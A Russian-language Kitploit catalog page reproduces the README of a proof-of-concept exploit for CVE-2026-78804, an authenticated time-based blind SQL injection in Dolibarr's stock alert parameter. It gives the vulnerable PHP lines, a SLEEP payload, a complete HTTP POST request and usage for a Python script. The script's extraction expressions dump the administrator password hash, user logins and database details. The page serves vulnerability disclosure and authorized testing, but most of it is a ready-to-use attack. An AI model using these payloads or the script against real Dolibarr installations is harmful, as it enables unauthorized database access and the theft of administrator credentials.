Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-78804_Dolibarr_authenticated_SQL_injection — Действие, отвечающее за установку порогового значения оповещения о запасах для каждого склада (`seuil_stock_alerte`), принимает управляемый пользователем ввод и впоследствии включает его в SQL-запрос без надлежащего числового приведения или привязки параметров. #dolibarr #exploit | Kitploit
Инструменты/GitHubGitHub/repo4chu/cve-2026-78804_dolibarr_authenticated_sql_injection
Анализ уязвимостейЭксплуатацияСкриптинг и автоматизацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеБезопасность Баз Данных
GitHubrepo4chu/cve-2026-78804_dolibarr_authenticated_sql_injection

CVE-2026-78804_Dolibarr_authenticated_SQL_injection

Действие, отвечающее за установку порогового значения оповещения о запасах для каждого склада (`seuil_stock_alerte`), принимает управляемый пользователем ввод и впоследствии включает его в SQL-запрос без надлежащего числового приведения или привязки параметров. #dolibarr #exploit

Репозиторий
18 ч 28 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Dolibarr — Аутентифицированная SQL-инъекция PoC

SQL-инъекция, затрагивающая функциональность управления запасами товаров через параметр seuil_stock_alerte.

Уязвимые версии

Протестировано и подтверждено на:

  • 19.0.4
  • 20.0.4
  • 21.0.4
  • 22.0.5
  • 23.0.3
  • 24.0.0 (Работало до момента отчёта.)

Уязвимый параметр

seuil_stock_alerte

Параметр принимается:

root@kitploit:~
/product/stock/product.php

при использовании действия addlimitstockwarehouse.

Эксплуатация

Параметр извлекается без числового преобразования:

root@kitploit:~
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');

$pse->seuil_stock_alerte = $seuil_stock_alerte;

Впоследствии он попадает в SQL-запрос через прямую конкатенацию строк:

root@kitploit:~
$sql .= ' seuil_stock_alerte = '.
    (isset($this->seuil_stock_alerte)
        ? $this->seuil_stock_alerte
        : "null").',';

Поскольку значение вставляется в неэкранированный числовой контекст, вместо обычного числового значения можно передать SQL-выражение.

Time-based Blind SQL Injection

Булево/временнóе выражение достаточно для демонстрации выполнения:

root@kitploit:~
(SELECT IF((1=1),SLEEP(15),0))

Пример параметра:

root@kitploit:~
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))

Успешный запрос вызывает задержку HTTP-ответа примерно на 15 секунд, что подтверждает вычисление внедрённого SQL-выражения.

Уязвимый запрос

Уязвимое действие может быть достигнуто аутентифицированным запросом, подобным:

root@kitploit:~
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded

action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))

Требования:

  • Действительная аутентифицированная сессия
  • CSRF-токен (извлекается со страницы карточки товара)
  • ID товара
  • ID склада

Аутентификация и привилегии

Проблема была воспроизведена с аутентифицированной учётной записью, имеющей только:

root@kitploit:~
Product → Create (produit/creer)

разрешение — низкопривилегированная учётная запись, способная создавать товары.

Воздействие

SQL-инъекция позволяет:

  1. Blind time-based SQL injection — запросы могут выполняться через задержки SLEEP
  2. Раскрытие информации — содержимое базы данных может быть извлечено посимвольно
  3. Потенциальное повышение привилегий — извлечение учётных данных администратора или конфиденциальных данных
  4. Разведка базы данных — перечисление схемы через ошибки или методы, основанные на времени

Ограничения на уровне базы данных в этой системе предотвратили прямое выполнение команд ОС.

Инструмент эксплуатации

Прилагаемый PoC-скрипт stock_sqli_poc.py автоматизирует процесс эксплуатации:

Использование

root@kitploit:~
python3 stock_sqli_poc.py \
  --url http://127.0.0.1:8088 \
  --proxy http://127.0.0.1:8080 \
  --login webeditor \
  --password 'WebEdit0r!' \
  --product-id 1 \
  --warehouse-id 1 \
  --extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
  --length 14

Возможности

  • Автоматический вход — аутентификация на цели
  • Подтверждение инъекции — проверка SQL-инъекции тестовыми полезными нагрузками (1=1 против 1=2)
  • Извлечение бинарным поиском — эффективное извлечение данных посимвольно с использованием ASCII-сравнения
  • Поддержка прокси — интеграция с Burp Suite или другими HTTP-прокси
  • Настраиваемая задержка — регулировка длительности SLEEP для надёжности

Параметры командной строки

ПараметрПо умолчаниюОписание
--urlhttp://127.0.0.1:8088URL целевого экземпляра Dolibarr
--proxyhttp://127.0.0.1:8080HTTP-прокси (Burp и т.д.). Установите пустую строку для отключения
--loginwebeditorИмя пользователя низкопривилегированной учётной записи
--passwordWebEdit0r!Пароль учётной записи
--product-id1ID целевого товара
--warehouse-id1ID целевого склада
--delay1.0Длительность SLEEP в секундах для обнаружения по времени
--extract(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)SQL-выражение для извлечения
--length14Максимальная длина извлекаемых символов

Примеры извлечения

Извлечь хеш пароля администратора:

root@kitploit:~
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"

Перечислить пользователей:

root@kitploit:~
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"

Версия базы данных:

root@kitploit:~
--extract "VERSION()"

Текущий пользователь базы данных:

root@kitploit:~
--extract "USER()"

⚠️ Правовое уведомление: Используйте этот эксплойт только против систем, на которые у вас есть явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен. Этот PoC предоставлен исключительно в образовательных целях и для авторизованного тестирования безопасности.

Скачать инструмент